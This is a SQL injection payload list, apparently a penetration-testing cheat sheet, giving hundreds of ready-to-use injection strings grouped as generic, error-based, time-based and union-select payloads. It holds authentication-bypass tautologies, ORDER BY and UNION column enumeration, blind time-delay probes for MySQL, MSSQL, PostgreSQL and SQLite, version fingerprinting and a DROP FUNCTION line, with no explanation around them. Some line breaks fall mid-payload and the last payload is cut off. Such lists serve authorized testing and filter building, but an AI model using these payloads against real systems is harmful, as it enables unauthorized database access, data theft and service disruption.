

SQL Injection Payload List

Generic SQL Injection Payloads

```
'
''
\'
\'\'
/
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR ' ' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
''''''''''UNION SELECT '2
%00
/*...*/
+          addition, concatenate (or space in url)
||          (double pipe) concatenate
%          wildcard attribute indicator@variable    local variable
@@variable    global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+1' ORDER BY 1,2--+
```

```

1' ORDER BY 1,2,3--+1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@1 AND (SELECT * FROM Users) = 1 '
AND MID(VERSION(),1,1) = '5';' and 1 in (select min(name) from
sysobjects where xtype = 'U' and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--Comments:# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick

```

Generic Error Based Payloads

```

OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1--
OR 1=0--
OR x=x--
OR x=y--
OR 3409=3409 AND ('pytW' LIKE 'pytW
OR 3409=3409 AND ('pytW' LIKE 'pytY
HAVING 1=1
HAVING 1=0
HAVING 1=1#
HAVING 1=0#
HAVING 1=1--
HAVING 1=0--
AND 1=1
AND 1=0
AND 1=1--
AND 1=0--
AND 1=1#
AND 1=0#
AND 1=1 AND '%'='
AND 1=0 AND '%'='
AND 1083=1083 AND (1427=1427
AND 7506=9091 AND (5913=5913

```

```
AND 1083=1083 AND ('1427=1427
AND 7506=9091 AND ('5913=5913
AND 7300=7300 AND 'pKlZ'='pKlZ
AND 7300=7300 AND 'pKlZ'='pKlY
AND 7300=7300 AND ('pKlZ'='pKlZ
AND 7300=7300 AND ('pKlZ'='pKlY
AS INJECTX WHERE 1=1 AND 1=1
AS INJECTX WHERE 1=1 AND 1=0
AS INJECTX WHERE 1=1 AND 1=1#
AS INJECTX WHERE 1=1 AND 1=0#
AS INJECTX WHERE 1=1 AND 1=1--
AS INJECTX WHERE 1=1 AND 1=0--
WHERE 1=1 AND 1=1
WHERE 1=1 AND 1=0
WHERE 1=1 AND 1=1#
WHERE 1=1 AND 1=0#
WHERE 1=1 AND 1=1--
WHERE 1=1 AND 1=0--
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
ORDER BY 4--
ORDER BY 5--
ORDER BY 6--
ORDER BY 7--
ORDER BY 8--
ORDER BY 9--
ORDER BY 10--
ORDER BY 11--
ORDER BY 12--
ORDER BY 13--
ORDER BY 14--
ORDER BY 15--
ORDER BY 16--
ORDER BY 17--
ORDER BY 18--
ORDER BY 19--
ORDER BY 20--
ORDER BY 21--
ORDER BY 22--
ORDER BY 23--
ORDER BY 24--
ORDER BY 25--
ORDER BY 26--
ORDER BY 27--
ORDER BY 28--
ORDER BY 29--
ORDER BY 30--
ORDER BY 31337--
ORDER BY 1#
ORDER BY 2#
```

ORDER BY 3#
ORDER BY 4#
ORDER BY 5#
ORDER BY 6#
ORDER BY 7#
ORDER BY 8#
ORDER BY 9#
ORDER BY 10#
ORDER BY 11#
ORDER BY 12#
ORDER BY 13#
ORDER BY 14#
ORDER BY 15#
ORDER BY 16#
ORDER BY 17#
ORDER BY 18#
ORDER BY 19#
ORDER BY 20#
ORDER BY 21#
ORDER BY 22#
ORDER BY 23#
ORDER BY 24#
ORDER BY 25#
ORDER BY 26#
ORDER BY 27#
ORDER BY 28#
ORDER BY 29#
ORDER BY 30#
ORDER BY 31337#
ORDER BY 1
ORDER BY 2
ORDER BY 3
ORDER BY 4
ORDER BY 5
ORDER BY 6
ORDER BY 7
ORDER BY 8
ORDER BY 9
ORDER BY 10
ORDER BY 11
ORDER BY 12
ORDER BY 13
ORDER BY 14
ORDER BY 15
ORDER BY 16
ORDER BY 17
ORDER BY 18
ORDER BY 19
ORDER BY 20
ORDER BY 21
ORDER BY 22

```

ORDER BY 23
ORDER BY 24
ORDER BY 25
ORDER BY 26
ORDER BY 27
ORDER BY 28
ORDER BY 29
ORDER BY 30
ORDER BY 31337
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28
END)) AND 'Txws'='
RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28
END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
and (select substring(@@version,1,1))='X'
and (select substring(@@version,1,1))='M'
and (select substring(@@version,2,1))='i'
and (select substring(@@version,2,1))='y'
and (select substring(@@version,3,1))='c'
and (select substring(@@version,3,1))='S'
and (select substring(@@version,3,1))='X'

```

Generic Time Based SQL Injection Payloads

```

# from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
') or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
')));waitfor delay '0:0:5'--
")));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#

```

```

" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjOC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\ "
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#

```

```

&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) AND '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+ '
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

```

Generic Union Select Payloads

```

ORDER BY SLEEP(5)
ORDER BY 1,SLEEP(5)
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14

```

```
,15,16,17
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ORDER BY SLEEP(5)#
ORDER BY 1,SLEEP(5)#
ORDER BY 1,SLEEP(5),3#
ORDER BY 1,SLEEP(5),3,4#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
ORDER BY
```



```
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22, 23#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27#
ORDER BY
```

```
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29#
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30#
ORDER BY SLEEP(5)--
ORDER BY 1, SLEEP(5)--
ORDER BY 1, SLEEP(5), 3--
ORDER BY 1, SLEEP(5), 3, 4--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9--
ORDER BY 1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20--
ORDER BY
1, SLEEP(5), BENCHMARK(1000000, MD5('A')), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21--
```

```

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25,26--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25,26,27--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
UNION ALL SELECT 1
UNION ALL SELECT 1,2
UNION ALL SELECT 1,2,3
UNION ALL SELECT 1,2,3,4
UNION ALL SELECT 1,2,3,4,5
UNION ALL SELECT 1,2,3,4,5,6
UNION ALL SELECT 1,2,3,4,5,6,7
UNION ALL SELECT 1,2,3,4,5,6,7,8
UNION ALL SELECT 1,2,3,4,5,6,7,8,9
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION ALL SELECT

```

```
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29,30
  UNION ALL SELECT 1#
  UNION ALL SELECT 1,2#
  UNION ALL SELECT 1,2,3#
  UNION ALL SELECT 1,2,3,4#
  UNION ALL SELECT 1,2,3,4,5#
  UNION ALL SELECT 1,2,3,4,5,6#
  UNION ALL SELECT 1,2,3,4,5,6,7#
  UNION ALL SELECT 1,2,3,4,5,6,7,8#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
  UNION ALL SELECT
```

```
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29#
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29,30#
  UNION ALL SELECT 1--
  UNION ALL SELECT 1,2--
  UNION ALL SELECT 1,2,3--
  UNION ALL SELECT 1,2,3,4--
  UNION ALL SELECT 1,2,3,4,5--
  UNION ALL SELECT 1,2,3,4,5,6--
  UNION ALL SELECT 1,2,3,4,5,6,7--
  UNION ALL SELECT 1,2,3,4,5,6,7,8--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
  UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
  UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
```

```

--
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26--
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27--
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28--
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29--
UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
,26,27,28,29,30--
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),USER(),4
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
